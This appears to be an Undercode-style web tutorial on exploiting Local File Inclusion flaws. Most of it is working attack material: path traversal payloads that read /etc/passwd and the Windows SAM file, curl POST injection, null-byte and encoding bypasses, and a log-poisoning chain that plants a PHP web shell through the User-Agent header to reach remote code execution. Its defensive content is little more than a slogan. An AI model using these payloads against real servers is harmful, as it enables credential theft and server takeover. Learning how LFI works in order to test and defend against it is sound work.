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Local File Inclusion (LFI) vulnerabilities allow attackers to read sensitive files on a server. Below are key techniques used by ethical hackers to identify and exploit LFI vulnerabilities responsibly.
1. GET Path Injection
Try manipulating URL paths to access system files:
http://example.com/index.php?file=///../../../../etc/passwd
Fuzz with Burp Suite:
ffuf -u "http://example.com/FUZZ" -w /path/to/lfi_wordlist.txt
2. POST-Based LFI
Test endpoints that process file paths via POST requests:
curl -X POST -d "file=../etc/passwd" http://example.com/router.jsp
3. Hidden Parameters & Bypass Techniques
- Brute-force parameters using ParamSpider:
python3 paramspider.py -d example.com -o lfi_params.txt
- Filter Bypass Techniques:
- URL encoding: `%2e%2e%2f` (../)
- Null byte injection: `../../../etc/passwd%00`
You Should Know: Practical LFI Exploitation & Defense
1. LFI to RCE (Remote Code Execution)
If log poisoning is possible:
curl -A "<?php system(\$_GET['cmd']); ?>" http://example.com/
Then include logs via LFI:
http://example.com/index.php?file=/var/log/apache2/access.log&cmd=id
2. Linux Commands for LFI Testing
- Check readable files:
cat /proc/self/environ
- List directories:
curl http://example.com/?file=../../../../var/www/html/
3. Windows LFI Tricks
Extract SAM files (if Windows server):
http://example.com/?file=../../../../Windows/System32/config/SAM
4. Automated Scanning with Nuclei
nuclei -t /path/to/lfi-templates/ -u http://example.com
What Undercode Say
LFI vulnerabilities remain a critical threat in web applications. Always test ethically and report findings responsibly. Use WAF bypass techniques (e.g., double encoding, path traversal tricks) and automate scans with Burp, FFUF, and Nuclei.
Expected Output:
- Extracted `/etc/passwd` or Windows system files.
- Successful log poisoning leading to RCE.
- Automated detection via scanning tools.
Relevant URLs:
References:
Reported By: Deepak Saini – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
